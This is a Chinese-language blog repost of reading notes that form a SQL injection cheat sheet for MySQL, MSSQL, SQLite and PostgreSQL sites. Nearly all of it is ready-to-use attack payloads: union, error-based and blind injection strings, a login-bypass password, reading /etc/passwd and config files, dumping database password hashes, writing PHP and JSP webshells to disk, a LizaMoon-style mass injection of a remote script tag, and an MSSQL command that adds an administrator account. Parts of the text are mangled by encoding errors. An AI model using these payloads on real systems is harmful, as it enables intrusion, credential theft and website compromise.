SQL_Injection_Base_by_Silic读书摘要
摘自:《SQL_Injection_Base_by_Silic》
php網(wǎng)站:/**/、/*asdfa*/可替換空格
猜表段:
id=0/*abc*/union/*aa*/select/*asdf*/1,2,3,4,5/*id=-11/**/union/*aa*/select/*asdf*/1,2,3,4,5/*id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*表段名:假設(shè)表段名為admin,?????????
如果能顯錯(cuò),即可得到真的表段名
Mysql 5.x?都有的獨(dú)立數(shù)據(jù)庫(kù)?mysql?其中?user?表段存有用戶部分信息?其中?user、password、host(如果是localhost,表示只能本機(jī)登陸,可另外找是否有phpmyadmin)、file_priv(規(guī)定用戶是否可以讀硬盤(pán)里面的文件)
mysql 5.x及以上可以爆表爆字段;4.x爆出來(lái)解不了(5.x有information_schema,而4.x沒(méi)有)
注入語(yǔ)句格式:
union+select+1,2,3,xo,5+from+xxoo(參數(shù)使用位置xo,如concat(user,0x3a,version)、concat(username,0x5c,password)、concat(user,0x5f,version)、concat(user,0x3c62723e,version)、concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))。。。。。。)
常用參數(shù):
user():格式為root1@localhost、root2@mysss(mysss為服務(wù)器名)、root3@192.111.1.1
database():當(dāng)前數(shù)據(jù)庫(kù)名
version():當(dāng)前使用數(shù)據(jù)庫(kù)版本
@@datadir:數(shù)據(jù)路徑
concat():聯(lián)合數(shù)據(jù)
group_concat():通常格式有g(shù)roup_concat(DISTINCT+user,0x3a,password),concat只能一次一條,group_concat可以一次多條
concat_ws():concat的特殊形式,使用方法concat_ws(separator,str1,str2,...)
hex()和unhex():如union+select+hex(password)+from+mysql.user、hex(user())、hex(database())
load_file():使用前提你的用戶名對(duì)應(yīng)的file_priv設(shè)為Y,以文本方式讀取文件,如:linux系統(tǒng)load_file('/etc/passwd')?? windows系統(tǒng)load_file('c:\\boot.ini')、union+select+1,load_file(0x633a5c5c626f6f742e696e69)其中0x633a5c5c626f6f742e696e69為c:\\boot.ini的hex編碼以躲避php網(wǎng)站gpf設(shè)為on的情況
使用前提gpf設(shè)置為off,file_priv設(shè)為Y,已知網(wǎng)站路徑,有寫(xiě)權(quán)限。用法:+union+select+webshell的hex編碼+into+outfile+'網(wǎng)站物理路徑\\a.php'
假如網(wǎng)站原始查詢語(yǔ)句后有order by、desc等要用/* 或--結(jié)束后面的語(yǔ)句,如
id=12+union+select+1,2,3,4+from+admin--id=12+union+select+1,2,3,4+from+admin/*萬(wàn)能密碼admin'or'1'='1、admin'or 1=1#用戶名admin'/*kkk密碼kkk*/'
php+mysql注入查表語(yǔ)句與查字段語(yǔ)句
格式:
+union?select?1,2,3,table_name?from?(select?*?from?information_schema.tables?wheretable_schema=數(shù)據(jù)庫(kù)名的hex?order?by?table_schema?limit?0,1)t?limit?1當(dāng)前數(shù)據(jù)庫(kù)名直接database(),即數(shù)據(jù)庫(kù)名的hex用hex(database())替換就可以了,其他數(shù)據(jù)庫(kù)名字從MySql.db查database()
limit 0,1可換為1,2、2,3、3,4 .....
如:
id=5+and+1=2+union+select+1,2,3,table_name,5,6+from+(select+*+from+information_schema.tables +where+table_schema=0x74657374+order+by+table_schema+limit+13,1)+limit+1--其中0x74657374為數(shù)據(jù)庫(kù)test的hex
(知道表名之后,用+union select 1,2,xo,4 from xxoo的格式可爆字段再爆值)
查字段格式
+union?select?1,2,3,column_name?from?(select?*?from?information_schema.columns?wheretable_name=爆出來(lái)的表名的hex?and?table_schema=數(shù)據(jù)庫(kù)名的hex?order?by?1?limit?2,1)t?limit?1--已測(cè)試,下面兩種都可以一次列出所有數(shù)據(jù)庫(kù)的名稱
一次列出某個(gè)數(shù)據(jù)庫(kù)里所有表段的名稱
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name)+from +information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E其中0x64625F6368696E615F717562616E5F636E是這個(gè)數(shù)據(jù)庫(kù)的名稱的hex,如果是當(dāng)前庫(kù),直接hex(database())
一次列出某個(gè)表段里所有字段的名稱
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name)+from +information_schema.columns+where+table_name=0x61646D696E其中0x61646D696E表名的hex
如果知道了絕對(duì)路徑,又有l(wèi)oad_file的權(quán)限,就可使用load_file
其中0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870是C:\wamp\www\butcher\config.php的hex,得到一串字符串之后用winhex轉(zhuǎn)換格式就可知道配置文件中的用戶名、密碼、數(shù)據(jù)庫(kù)名等
爆數(shù)據(jù)庫(kù)密碼兩種途徑:1、從數(shù)據(jù)庫(kù)爆;2、從文件爆
(1)
id=9+1=2+union+select+1,concat(user,0x5f,password),3,4,5+from+mysql.user(2)
load_file
用工具連接數(shù)據(jù)庫(kù)執(zhí)行sql語(yǔ)句獲得webshell:
create table test(a text);
select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php';
mysql輸出文件時(shí),會(huì)把回車(chē)換成\n,所以一般寫(xiě)入小馬,就算寫(xiě)大馬,也要在每行結(jié)尾加上/*,每行開(kāi)頭加上*/注釋掉\n。
注入中的大愛(ài)Tomcat+jsp+Mysql
(Tomcat需要system或root權(quán)限,jsp+Mysql通常是root權(quán)限)
如果顯錯(cuò)中host為%表示可以外鏈Mysql數(shù)據(jù)庫(kù)
連接后確認(rèn)為root權(quán)限,可執(zhí)行sql語(yǔ)句,來(lái)獲取webshell:
select jsp一句話的hex?into outfile '/路徑/webshell.jsp';
讀取/etc/passwd文件,獲得敏感路徑/var/www和/home/criterion后加/public_html和/htdocs都不是網(wǎng)站路徑,之后,讀Tomcat的敏感文件,從select load_file('/etc/profile');獲得Tomcat的路徑,然后在路徑下的/conf/server.xml獲得網(wǎng)站路徑。
hex()?可解決注入編碼不同而無(wú)法顯示的問(wèn)題(特別是遇到國(guó)外網(wǎng)站)
如:
id=1+and+1=2+union+select+1,2,3,4,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),6/*然后對(duì)顯示的字符串unhex()
或者是用?convert()
一個(gè)不常見(jiàn)的情況(問(wèn)題發(fā)生原因:存在sql注入的頁(yè)面中的sql語(yǔ)句,它所在的表段中,有一個(gè)字段是非數(shù)字型。一旦用union select?數(shù)字,數(shù)字,數(shù)字...來(lái)替換order by就會(huì)跳轉(zhuǎn)):
www.d.com/n.php?hand=det&id=12'order+by+13%23???????????????正常注入點(diǎn)確認(rèn)為字符型,字段數(shù)為13
www.d.com/n.php?hand=det&id=0'union+select+1,2,3,4,5,6,7,8,9,0,11,12,13%23 3號(hào)位置有異常,頁(yè)面跳轉(zhuǎn)至3 www.d.com/3解決方法:用null替換3號(hào)位的數(shù)字
www.d.com/n.php?hand=det&id=0'union+select+1,2,null,4,5,6,7,8,concat(database(),0x3a,user(), 0x3a,version(),0x3a,@@datadir),0,11,12,13%23遇到網(wǎng)站使用后置寫(xiě)法,
如:
訪問(wèn)
顯錯(cuò)為:
SELECT?main.*?FROM?"numbers"?main?WHERE?123'=main.id?Number?123'?not?found?in?the?database倒著注入如:
n.php?id=1+and+123上面說(shuō)過(guò)mysql 5.x一次爆出表段的格式,現(xiàn)在是土耳其***的格式:
select+GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+ table_schema=database()MySQL的幾個(gè)參數(shù)
@@version_comment??????????????判斷是源代碼還是已編譯文件
@@datadir??????????????????????????????? 數(shù)據(jù)地址
@@tmpdir????????????????????????????????臨時(shí)文件地址
@@version???????????????????????????????mysql的版本
user()
database()
@@version_compile_os????????????判斷系統(tǒng)類型
@@version_compile_machine??判斷32位還是64位
@@warning_count??????????
@@system_time_zone???????????????時(shí)區(qū)
@@query_cache_size?????????????????內(nèi)存實(shí)際消耗
如:
e.php?s=dir&n=-2+union+select+1,2,concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c, @@version,0x5c,user(),database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine, 0x5c,@@warning_count,0x5c,@@system_time_zone,0x5c,@@query_cache_size),4,5,6錯(cuò)誤回顯的兩個(gè)類型:(1)MySQL錯(cuò)誤回顯,php提示MySQL語(yǔ)句哪里出錯(cuò);(2)php錯(cuò)誤回顯,顯示某個(gè)文件哪一行出錯(cuò)
在知道字段數(shù),但無(wú)顯示位回顯的情況下,可考慮用MySQL錯(cuò)誤回顯注入法
公式的格式:
union?select?1?from?(select+count(*),concat(floor(rand(0)*2),(注入爆數(shù)據(jù)語(yǔ)句))a?from? information_schema.tables?group?by?a)b后面可添加/*、--、%23來(lái)注釋掉后面部分
注入爆數(shù)據(jù)語(yǔ)句的基本格式:select xx from yy? 注意:每次只能爆單條數(shù)據(jù),不能update、不能select into 、不能insert、不能load_file()、不能group_concat()、有的concat()也不能
如果爆數(shù)據(jù)后面就要加limit a,b? 其中l(wèi)imit a,b為從第a條開(kāi)始(從0開(kāi)始),b為一共幾條(但這里只能是1),如:limit 0,1、limit 1,1、limit 2,1、limit 3,1?? ......
如:
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+ group+by+a)b爆所有數(shù)據(jù)庫(kù):
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+ from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+ information_schema.tables+group+by+a)b或
將0,1換為1,1、2,1、3,1、4,1? ....
類似爆表段
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+ from+information_schema.columns+where+table_schema=0x356570655f61646d696e+limit+0,1))a+from+ information_schema.tables+group+by+a)b將0,1換為1,1、2,1、3,1、4,1? ....
0x356570655f61646d696e為數(shù)據(jù)庫(kù)名的hex
類似爆字段的格式:
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+ from+information_schema.columns+where+table_name=0x356570aassfffffssee+limit+0,1))a+from+ information_schema.tables+group+by+a)b將0,1換為1,1、2,1、3,1、4,1? ....
0x356570aassfffffssee為表段名的hex
爆數(shù)據(jù):
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, adminname,0x3a,adminpass)+from+5epe+limit+0,1))a+from+information_schema.tables+group+by+a)b5epe為表名
后臺(tái)登陸框post錯(cuò)誤回顯注入
用弱口令試登后臺(tái),有數(shù)據(jù)庫(kù)顯錯(cuò),
在用戶名處寫(xiě):
admin'?union?select?1?from?(select?count(*),concat(floor(rand(0)*2),(select?user()?frommysql.user?limit?0,1))a?from?information_schema.tables?group?by?a)b#又遇到j(luò)avascript限制長(zhǎng)度,自己寫(xiě)個(gè)html提交
顯錯(cuò)中有?Duplicate entry '1bizpoten@203.153.13.123' for key
其中user()就是bizpoten@203.153.13.123(去掉固定的1)
類似之前的爆數(shù)據(jù)庫(kù)中的表段:
admin'?union?select?1?from?(select?count(*),concat(floor(rand(0)*2),(select?table_name?frominformation_schema.tables?where?table_schema=database()?limit?0,1))a?from?information_schema.tablesgroup?by?a)b#MySQL盲注
c.php?s=admin
回顯:用戶已注冊(cè)
c.php?s=admin'回顯:select userid from demob where user='admin''You have an error,表示沒(méi)過(guò)濾直接帶入MySQL執(zhí)行
看版本:
c.php?s=admin'and+left(version(),1)=5%23回顯:用戶已注冊(cè)???即知道版本為5成立
c.php?s=admin'and+length(database())=6%23c.php?s=admin'and+left(database(),1)='l'%23c.php?s=admin'and+left(database(),2)='li'%23
直到6,就可知道數(shù)據(jù)庫(kù)名
這里假設(shè)pass字段與userid字段同在demob表里面,所以不用再帶select語(yǔ)句
MySQL數(shù)據(jù)庫(kù)中將執(zhí)行select userid from demob where user='admin'and length(pass)=32#
其他表:
c.php?s=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<20%23base64變形注入,要遇到給輸入進(jìn)行base64加密的網(wǎng)站,類似也應(yīng)該會(huì)有其他加密方式,給輸入進(jìn)行相應(yīng)加密注入即可。
如:
s.php?id=MTM=還原加上'測(cè)試:
s.php?id=MTMnphp+mssql
爆字段:
table=p&id=12+and+1=1+union+all+select+null,null,null,null?????????????加了4個(gè)null,回到正常頁(yè)面了找顯示位:把1=1換成1=2,挨個(gè)將null換成數(shù)字,出錯(cuò)換回null
2為顯示位
這里開(kāi)始就與php+MySQL不同了,爆當(dāng)前庫(kù)名:
table=p&id=12+and+1=2+union+all+select+1,@@version,null,3table=p&id=12+and+1=2+union+all+select+1,db_name(),null,3通過(guò)數(shù)據(jù)庫(kù)id獲得數(shù)據(jù)庫(kù)名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=1--table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=2--然后3,4,5 。。。
爆表名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ xtype=CHAR(85)?and?name?not?in?(select?top?1?name?from?Northwi.dbo.sysobjects?where?xtype =CHAR(85))--Northwi.dbo.sysobjects 為 數(shù)據(jù)庫(kù)名.dbo.sysobjects,如果不是當(dāng)前數(shù)據(jù)庫(kù),那就成了跨庫(kù)查詢,可能設(shè)置了主機(jī)權(quán)限不讓跨庫(kù)查詢;
top 1?為表的序號(hào),可換為2,3,4,5。。。
爆字段:(這里的top 15?為前面top出的表 )
獲得總序號(hào)2073058421
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ ID=2073058421?and?name?not?in?(select?top?1?name?from?Northwi.dbo.sysobjects?where?ID=2073058421)--top 1?為字段的序號(hào),可換為2,3,4,5。。。
最后內(nèi)容:
table=p&id=12+and+1=2+union+all+select+1,title,null,3+from+Northwi..landed--Northwi..landed?為?數(shù)據(jù)庫(kù)名..表明,title為字段名
LizaMoon注入,批量掛馬腳本(對(duì)象Mssql+aspx):
首先查詢獲得表段名,然后
或
s.aspx?id=100?update?[YOURTABLE]?set?AltText=REPLACE(cast(AltText?as?varchar(8000)), cast("</tilte><script?src="http://b.com/u.php"></script>"?as?varchar(8000)),cast(char(32)as?varchar(8)))--或
s.aspx?id=100?update?[YOURTABLE]?set?AltText=REPLACE(cast(AltText?as?varchar(8000)), cast(CHAR(60)+CHAR(47)+CHAR(116)+CHAR(105)+CHAR(108)+CHAR(116)+CHAR(101)+CHAR(62)+CHAR(60)+ CHAR(115)+CHAR(99)+CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(32)+CHAR(115)+CHAR(114)+ CHAR(99)+CHAR(61)+CHAR(34)+CHAR(104)+CHAR(116)+CHAR(116)+?CHAR(112)+CHAR(58)+CHAR(47)+ CHAR(47)+CHAR(98)+CHAR(46)+CHAR(99)+CHAR(111)+CHAR(109)+CHAR(47)+CHAR(117)+CHAR(46)+ CHAR(112)+CHAR(104)+CHAR(112)+CHAR(34)+CHAR(62)+CHAR(60)+CHAR(47)+CHAR(115)+CHAR(99)+ CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(62))?as?varchar(8000)),cast(char(32)as?varchar(8)))--MSSQL提權(quán)
執(zhí)行sql命令
declare?@shell?int?exec?sp_oacreate?'wscript.shell',@shell?output?exec?sp_oamethod?@shell, 'run',null,'d:\\cmd.exe?/c?net?localgroup?administrators?silic?/add'需要支持wscript,d:\\cmd.exe為上傳的cmd地址,/c后執(zhí)行cmd命令
sqlite+php
判斷字段數(shù):
pr.php?id=0'union+select+1,2,3,4,5,6????????????或 pr.php?id=0'union+select+1,2,3,4,5,6--sqlite有個(gè)表sqlite_master,表中有字段:type,name,tbl_name,rootpage,sql,
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master--回顯為create table sqlite_sequence(name,seq)
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master+limit+2,1--回顯為create table [yelx]([id] INTERGER PRIMARY KEY NOT NULL,[title] TEXT NULL,[time] VARCHAR(30) NULL)
通過(guò)改limit 2,1?為 3,1 ?? 4,1?? 5,1 ...
獲得其他數(shù)據(jù)庫(kù)創(chuàng)建的歷史sql語(yǔ)句
PostgreSQL注入語(yǔ)句
顯示版本
version()
爆數(shù)據(jù)
union?select?1,2,3,4,5,aa,6?from?bb?where?cc=dd列庫(kù)
union?select?1,2,3,4,5,datname?from?pg_database列表段
union?select?1,2,3,4,5,relname?from?pg_stat_tables?limit?1?offset?3其中l(wèi)imit 1 offset 0等同于limit 0,1
列字段
union?select?1,2,3,4,5,column_name?from?information_schema.columns?where?table_name=0x3a7777hh? limit?1?offset?5讀配置文件
union?select?1,2,3,4,5,usename,passwd?form?pg_shadow其中pg_shadow相當(dāng)于MySQL中的mysql數(shù)據(jù)庫(kù),root用戶為postgre
讀文件
create?table?test(code?text); copy?test?from?'/etc/passwd'with?delimiter?E'\t';或
select?pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'))其中pg_file_read()相當(dāng)于MySQL中的load_file()
在postgre 8.x到9.x說(shuō)引號(hào)無(wú)效,應(yīng)用單引號(hào)
寫(xiě)文件
insert?into?test?value('<?php?eval($_POST["cmd"]);?>'); copy?test(code)?to?"?/var/www/one.php";找注入點(diǎn)
id=12?and?1=1?????????或?????????id=12?aNd(3=3)????? id=12?and?1=2????????????????????id=12?aNd(3=4)猜字段
id=12?order?by?12--數(shù)據(jù)庫(kù)長(zhǎng)度
數(shù)據(jù)庫(kù)名
id=12?and?(select?ascii(substr(current_database(),1,1)))?between?7?and?130 id=12?and?(select?ascii(substr(current_database(),1,1)))?between?117?and?117表的數(shù)量
第一個(gè)表的長(zhǎng)度
id=12?and?(select?length(relname)?from?pg_stat_user_tables?limit?1?OFFSET?0)?between?0?and?30第二個(gè)表的長(zhǎng)度
id=12?and?(select?length(relname)?from?pg_stat_user_tables?limit?1?OFFSET?1)?between?0?and?30第一個(gè)表名
爆字段
id=123+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+ table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)+limit+1+ OFFSET+0)+between+0+and+256其中chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)為表名的chr()
字段名
id=12+and+(select+ascii(substr(ssee,1,1))+from+iioo+limit+1+OFFSET+0)+between+0+210其中ssee為字段名,iioo為表名
判斷是否是php+PostgreSQL的搭配
加個(gè)'
回顯中有pg_query
字段數(shù)與字段間編碼問(wèn)題
id=2?order?by?10?????????或 id=0+union+select+null,null,null,null,null,null,null,null,null之后一個(gè)個(gè)試找回顯為時(shí)可以選數(shù)字或字母,如
id=0+union+select+1,'a',null,2,3,null????在有魔術(shù)引號(hào)的情況下,'a'會(huì)被轉(zhuǎn)義,用下面的 id=0+union+select+1,version,null,2,3,null注釋符
PostgreSQL注釋符不是#,不是/*,不是%23,而是--或%2b%2b
--或%2b%2b在MySQL、MSSQL、SQLite、PostgreSQL都通用
PostgreSQL的管理員賬號(hào)為postgres(類似于MySQL的root,MSSQL的sa);
根數(shù)據(jù)庫(kù)為postgres(類似于MySQL的mysql,MSSQL的master)
phpMyAdmin寫(xiě)webshell
在mysql數(shù)據(jù)庫(kù)的console里導(dǎo)入馬
遇到outfile成功,但無(wú)法load_file的,建表
create?table?test?(a?text); insert?into?test?(a)?values?(load_file('c:\\boot.ini')); select?*?from?test;轉(zhuǎn)載于:https://blog.51cto.com/maxvision/1694424
總結(jié)
以上是生活随笔為你收集整理的SQL_Injection_Base_by_Silic读书摘要的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: AOP的理解以及实现
- 下一篇: 中标麒麟+QT+达梦数据库